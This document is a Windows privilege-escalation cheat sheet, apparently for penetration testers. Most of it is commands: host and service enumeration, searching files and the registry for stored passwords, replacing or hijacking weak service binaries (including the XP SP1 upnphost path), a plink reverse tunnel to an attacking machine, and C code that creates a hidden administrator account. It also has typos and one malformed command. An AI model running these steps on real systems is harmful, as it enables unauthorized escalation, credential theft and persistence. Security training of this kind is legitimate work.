Reuseful escalation patterns

Host Information

Get OS version, patches, etc.:

systeminfo
type C:\Windpws\system32\eula.txt
type C:\BOOT.INI

Get current user:

whoami
whoami /priv
echo %username%

Get environment variables:

set

List users:

net accounts
net group
net users

List user details:

net users <user>

Network information:

ipconfig /all

Routing information:

netstat -r
route print
arp -a

Firewall information:

netsh firewall show state
netsh firewall show config

List open connections:

netstat -aton

List scheduled tasks:

schtasks /query /fo LIST /v

Firewall and AV information

Check Windows defender:

sc query windefend

View all services running on the machine:

sc queryex type= service
sc = service control

Firewall settings:

netsh advfirewall firewall dump
netsh firewall show state

Show firewall config:

netsh firewall show config

Services

List Windows services:

net start
tasklist /SV
wmic service list brief
sc query state= all

Weak services

Find misconfigured permissions by finding executables and running icalcs or cacls commands to determine user permissions. If lucky they may have full (F) or modified (M) permissions for the current user.

Also look for unquoted path folders such as C:\Program Files that run as SYSTEM/Administrator.

On newer machines:

icacls "C:\<path-to-service>.exe"

Older machines:

cacls "C:\<path-to-service>.exe"

If wmic is available, pull a list with:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\" |findstr /i /v """

Change a weak service by replacing the executable with a malicious one:

move <evil-file>.exe "C:\Program Files\<service>\<file>.exe"

Then reboot the server or wait for system to restart it.

Or if possible, inject the service path:

sc config <service> binpath= "<exploit-code>"

Then restart the service:

sc stop <service>
sc start <service>

Windows XP SP1

Windows XP SP1 has a known vulnerability in upnphost.

First start by making sure its dependency and service is running:

sc config SSDPSRV start= auto
net start SSDPSRV

Then change the executable path:

sc config upnphost binpath= "<exploit-code>"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost

Then start the service:

net start upnphost

If both wmic and sc are not available, use accesschk

accesschk.exe -uwcqv "Authenticated Users" * /accepteula

Space in service path

If the above service search came up with a path such as:

C:\Program Files\<service>\<file>.exe

This could allow replacement by an evil.exe file in:

C:\Program.exe

Start/Stop with denied permissions

If a service gives a permission denied to start or stop, this may or may not be exploitable.

Search files and registry

List current directory with metadata, system and data stream files:

dir /s /q /R

Attempt to find password strings in common files:

findstr /spin password *.txt
findstr /spin password *.xml
findstr /spin password *.config
findstr /si password *.ini
findstr /spin credentials *.txt
findstr /spin credentials *.xml
findstr /spin credentials *.config
findstr /si credentials *.ini
findstr /spin secret *.txt
findstr /spin secret *.xml
findstr /spin secret *.config
findstr /si secret *.ini

Attempt to find password strings in all files:

findstr /spin "password" *.*
findstr /spin "credentials" *.*
findstr /spin "secret" *.*

Find all common configuration or sensitive files:

dir/q \*.txt /s
dir/q \*.rar /s
dir/q \*.zip /s
dir/q \*.xls /s
dir/q \*.xlsx /s
dir/q \*.ini /s
dir/q \*.cap /s
dir/q \*.pcap /s
dir/q \*.exe /s
dir/q \*.pdf /s

Attempt to find password strings in registry settings:

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

Port Forwarding

Using plink.exe. Recommend using secondary user from attacking machine:

plink.exe -l <user> -pw <password> <attacking-ipaddress> -R <lport>:127.0.0.1:<rport>

Network drives

Find users mapped drives

Show current mapped drives:

net share

Search registry for user SID:

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\" /s

Then finding the SID, get the network paths and usernames used to connect, if any:

reg query "HKEY_USERS\<SID>\Network" /s

Map a drive

Create a network drive:

net use Z: \\<path>\

Map to Domain Controller sysvol:

net use Z: \\<dc>\SYSVOL

Search for group policy xml:

z:
dir /s /q groups.xml

Search for kernel vulnerabilities.

Copy systeminfo to a text file on attacking machine.

Download Windows Exploit Suggester:

wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/master/windows-exploit-suggester.py

Download bulletin database:

wget http://download.microsoft.com/download/6/7/3/673E4349-1CA5-40B9-8879-095C72D5B49D/BulletinSearch.xlsx

Install requirements:

apt -y install python-xlrd

Run:

python windows-exploit-suggester.py --systeminfo systeminfo.txt --database BulletinSearch.xlsx

Common Simple Overwrite Code

Create an admin user and add to administrator and remote desktop groups:

#include <stdlib.h>
int main ()
{
    system("net user <user> <password> /add");
    system("net localgroup administrators <user> /add");
    system("net localgroup administrators "Remote Desktop Users" <user> /add");
    return 0;
}

Compile:

i686-w64-mingw32-gcc <file>.c -lws2_32 -o <output>.exe